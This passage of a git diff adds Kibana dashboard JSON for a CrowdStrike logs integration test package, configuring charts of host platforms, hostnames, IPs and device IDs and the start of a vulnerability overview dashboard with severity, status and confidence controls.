+                                        "index": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.host"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.host"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "200a15f3-d229-4812-ab0c-0241c9ca974e",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "a73f0321-68b2-4319-9d06-3eb2eb117191"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a",
+                    "w": 16,
+                    "x": 14,
+                    "y": 0
+                },
+                "panelIndex": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a",
+                "title": "Host over OS Platform [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "4275918f-e9ad-4439-b16c-190021e6a4dd",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "b6c130c0-83a9-4114-a597-1044d0ee891a": {
+                                            "columnOrder": [
+                                                "980e0385-d489-4539-b0c8-3926472b30b0",
+                                                "d016ebe9-0bc9-4877-b874-045c3c619a6c"
+                                            ],
+                                            "columns": {
+                                                "980e0385-d489-4539-b0c8-3926472b30b0": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Hostname",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d016ebe9-0bc9-4877-b874-045c3c619a6c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.hostname"
+                                                },
+                                                "d016ebe9-0bc9-4877-b874-045c3c619a6c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "4275918f-e9ad-4439-b16c-190021e6a4dd",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.host"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.host"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "d016ebe9-0bc9-4877-b874-045c3c619a6c"
+                                        ],
+                                        "layerId": "b6c130c0-83a9-4114-a597-1044d0ee891a",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "bar_stacked",
+                                        "showGridlines": false,
+                                        "xAccessor": "980e0385-d489-4539-b0c8-3926472b30b0"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": false
+                                },
+                                "preferredSeriesType": "bar_stacked",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "be658e9b-1f41-424b-a975-ab42befcb77e",
+                    "w": 18,
+                    "x": 30,
+                    "y": 0
+                },
+                "panelIndex": "be658e9b-1f41-424b-a975-ab42befcb77e",
+                "title": "Host over Hostname [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "a10dc271-d00d-4766-8ec4-28fe3978afea",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "ae6624d7-cc20-420b-994e-e9da30ce9d7e": {
+                                            "columnOrder": [
+                                                "55ced9a5-9461-4aba-a522-92fad79ab843",
+                                                "dabab91c-4be8-4356-969c-270e7f21d6ba"
+                                            ],
+                                            "columns": {
+                                                "55ced9a5-9461-4aba-a522-92fad79ab843": {
+                                                    "customLabel": true,
+                                                    "dataType": "ip",
+                                                    "isBucketed": true,
+                                                    "label": "Host IP",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "dabab91c-4be8-4356-969c-270e7f21d6ba",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.ip"
+                                                },
+                                                "dabab91c-4be8-4356-969c-270e7f21d6ba": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "a10dc271-d00d-4766-8ec4-28fe3978afea",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.host"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.host"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "dabab91c-4be8-4356-969c-270e7f21d6ba"
+                                        ],
+                                        "layerId": "ae6624d7-cc20-420b-994e-e9da30ce9d7e",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "bar_stacked",
+                                        "showGridlines": false,
+                                        "xAccessor": "55ced9a5-9461-4aba-a522-92fad79ab843"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": false
+                                },
+                                "preferredSeriesType": "bar_stacked",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "c5b14462-c4b7-4bc6-b826-592096b235ef",
+                    "w": 24,
+                    "x": 0,
+                    "y": 17
+                },
+                "panelIndex": "c5b14462-c4b7-4bc6-b826-592096b235ef",
+                "title": "Host over Host IP [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "de769611-9467-477d-9867-fc74698abdd9",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "c6d62863-d037-4156-a25c-6e4bc06b7885": {
+                                            "columnOrder": [
+                                                "eb4c815b-4d40-4169-bba7-5cfd9408ae9a",
+                                                "396927e3-233a-4a3a-b459-929dafd53134",
+                                                "6e59d96a-2622-45fc-8b9b-ce38c1eb1556"
+                                            ],
+                                            "columns": {
+                                                "396927e3-233a-4a3a-b459-929dafd53134": {
+                                                    "customLabel": true,
+                                                    "dataType": "date",
+                                                    "isBucketed": true,
+                                                    "label": "Timestamp",
+                                                    "operationType": "date_histogram",
+                                                    "params": {
+                                                        "dropPartials": false,
+                                                        "includeEmptyRows": true,
+                                                        "interval": "auto"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "@timestamp"
+                                                },
+                                                "6e59d96a-2622-45fc-8b9b-ce38c1eb1556": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "eb4c815b-4d40-4169-bba7-5cfd9408ae9a": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Device ID",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "6e59d96a-2622-45fc-8b9b-ce38c1eb1556",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "device.id"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "de769611-9467-477d-9867-fc74698abdd9",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.host"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.host"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "6e59d96a-2622-45fc-8b9b-ce38c1eb1556"
+                                        ],
+                                        "layerId": "c6d62863-d037-4156-a25c-6e4bc06b7885",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "bar_stacked",
+                                        "showGridlines": false,
+                                        "splitAccessor": "eb4c815b-4d40-4169-bba7-5cfd9408ae9a",
+                                        "xAccessor": "396927e3-233a-4a3a-b459-929dafd53134"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": true
+                                },
+                                "preferredSeriesType": "bar_stacked",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide",
+                                "valuesInLegend": true
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "ea96fb11-edf9-470e-a7f9-903b084e1901",
+                    "w": 24,
+                    "x": 24,
+                    "y": 17
+                },
+                "panelIndex": "ea96fb11-edf9-470e-a7f9-903b084e1901",
+                "title": "Host over Timestamp [Logs CrowdStrike]",
+                "type": "lens"
+            }
+        ],
+        "timeRestore": false,
+        "title": "[Logs CrowdStrike] Host",
+        "version": 2
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T12:27:20.645Z",
+    "id": "crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c",
+    "managed": false,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:af92b18a-b19c-4eea-88d7-7eef6ca7cea7",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "be658e9b-1f41-424b-a975-ab42befcb77e:indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "be658e9b-1f41-424b-a975-ab42befcb77e:4275918f-e9ad-4439-b16c-190021e6a4dd",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:a10dc271-d00d-4766-8ec4-28fe3978afea",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:de769611-9467-477d-9867-fc74698abdd9",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "dashboard",
+    "typeMigrationVersion": "10.2.0",
+    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json
new file mode 100644
index 0000000000..c45272165a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json
@@ -0,0 +1,1111 @@
+{
+    "attributes": {
+        "controlGroupInput": {
+            "chainingSystem": "HIERARCHICAL",
+            "controlStyle": "oneLine",
+            "ignoreParentSettingsJSON": {
+                "ignoreFilters": false,
+                "ignoreQuery": false,
+                "ignoreTimerange": false,
+                "ignoreValidations": false
+            },
+            "panelsJSON": {
+                "47c1726b-56fd-48c9-9378-07a165ac42b9": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "crowdstrike.vulnerability.confidence",
+                        "id": "47c1726b-56fd-48c9-9378-07a165ac42b9",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "singleSelect": true,
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Confidence"
+                    },
+                    "grow": true,
+                    "order": 3,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "5cc4f532-9959-46b8-ba73-8bd54c27891b": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "crowdstrike.vulnerability.status",
+                        "id": "5cc4f532-9959-46b8-ba73-8bd54c27891b",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "singleSelect": true,
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Status"
+                    },
+                    "grow": true,
+                    "order": 2,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "609aecfe-f39b-41ee-b60a-d5bb0fab67b0": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "vulnerability.severity",
+                        "id": "609aecfe-f39b-41ee-b60a-d5bb0fab67b0",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "singleSelect": true,
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Severity"
+                    },
+                    "grow": true,
+                    "order": 1,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                },
+                "f4535e1b-f830-47b7-8bfc-72df5cca8d15": {
+                    "explicitInput": {
+                        "dataViewId": "logs-*",
+                        "fieldName": "vulnerability.id",
+                        "id": "f4535e1b-f830-47b7-8bfc-72df5cca8d15",
+                        "searchTechnique": "prefix",
+                        "selectedOptions": [],
+                        "sort": {
+                            "by": "_count",
+                            "direction": "desc"
+                        },
+                        "title": "Vulnerability"
+                    },
+                    "grow": true,
+                    "order": 0,
+                    "type": "optionsListControl",
+                    "width": "medium"
+                }
+            },
+            "showApplySelections": false
+        },
+        "description": "Overview of the CrowdStrike Vulnerability Logs.",
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": {
+                                "query": "crowdstrike.vulnerability"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "data_stream.dataset": "crowdstrike.vulnerability"
+                            }
+                        }
+                    }
+                ],
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "optionsJSON": {
+            "hidePanelTitles": false,
+            "syncColors": false,
+            "syncCursor": true,
+            "syncTooltips": false,
+            "useMargins": true
+        },
+        "panelsJSON": [
+            {
+                "embeddableConfig": {
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "savedVis": {
+                        "data": {
+                            "aggs": [],
+                            "searchSource": {
+                                "filter": [],
+                                "query": {
+                                    "language": "kuery",
+                                    "query": ""
+                                }
+                            }
+                        },
+                        "description": "",
+                        "params": {
+                            "fontSize": 12,
+                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)\n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n**Vulnerability**\n\n### Overview\n\nThis dashboard shows detailed statistics and visualizations of ingested logs related to vulnerabilities detected by CrowdStrike.\n\nIt provides an overview of vulnerabilities over time and highlights the top 10 vulnerabilities and most affected hosts. The dashboard also breaks down vulnerabilities by severity, status, and confidence levels to aid in risk assessment and prioritization.\n",
+                            "openLinksInNewTab": false
+                        },
+                        "title": "",
+                        "type": "markdown",
+                        "uiState": {}
+                    }
+                },
+                "gridData": {
+                    "h": 31,
+                    "i": "cb1b46eb-0f11-4f81-86a1-47c016e9027a",
+                    "w": 11,
+                    "x": 0,
+                    "y": 0
+                },
+                "panelIndex": "cb1b46eb-0f11-4f81-86a1-47c016e9027a",
+                "title": "Table of Contents",
+                "type": "visualization"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "c53d6776-c8f8-4c71-a375-69d006304e6b": {
+                                            "columnOrder": [
+                                                "114b51a3-a012-44f0-9b81-255592bf9007",
+                                                "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c"
+                                            ],
+                                            "columns": {
+                                                "114b51a3-a012-44f0-9b81-255592bf9007": {
+                                                    "dataType": "date",
+                                                    "isBucketed": true,
+                                                    "label": "@timestamp",
+                                                    "operationType": "date_histogram",
+                                                    "params": {
+                                                        "dropPartials": false,
+                                                        "includeEmptyRows": true,
+                                                        "interval": "auto"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "@timestamp"
+                                                },
+                                                "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c"
+                                        ],
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "layerId": "c53d6776-c8f8-4c71-a375-69d006304e6b",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "line",
+                                        "showGridlines": false,
+                                        "xAccessor": "114b51a3-a012-44f0-9b81-255592bf9007"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false
+                                },
+                                "preferredSeriesType": "line",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e",
+                    "w": 37,
+                    "x": 11,
+                    "y": 0
+                },
+                "panelIndex": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e",
+                "title": "Vulnerability over time [Logs Crowdstrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "a43eff7e-1ae6-4159-a295-2c753dffbd4a": {
+                                            "columnOrder": [
+                                                "8d57da88-d081-47a0-b896-eb94553bd55b",
+                                                "4bf72fea-6f03-4a5f-8488-028886adaef9"
+                                            ],
+                                            "columns": {
+                                                "4bf72fea-6f03-4a5f-8488-028886adaef9": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "8d57da88-d081-47a0-b896-eb94553bd55b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Vulnerability",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "accuracyMode": false,
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "vulnerability.id"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "alignment": "right",
+                                        "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
+                                        "isMetric": true,
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b",
+                                        "isMetric": false,
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "headerRowHeight": "custom",
+                                "headerRowHeightLines": 3,
+                                "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a",
+                                "layerType": "data",
+                                "paging": {
+                                    "enabled": false,
+                                    "size": 10
+                                },
+                                "rowHeight": "single",
+                                "rowHeightLines": 1
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "da53bcd1-6533-49f4-b01a-f6f73ce41379",
+                    "w": 19,
+                    "x": 11,
+                    "y": 15
+                },
+                "panelIndex": "da53bcd1-6533-49f4-b01a-f6f73ce41379",
+                "title": "Top 10 Vulnerability [Logs Crowdstrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "a43eff7e-1ae6-4159-a295-2c753dffbd4a": {
+                                            "columnOrder": [
+                                                "8d57da88-d081-47a0-b896-eb94553bd55b",
+                                                "4bf72fea-6f03-4a5f-8488-028886adaef9"
+                                            ],
+                                            "columns": {
+                                                "4bf72fea-6f03-4a5f-8488-028886adaef9": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
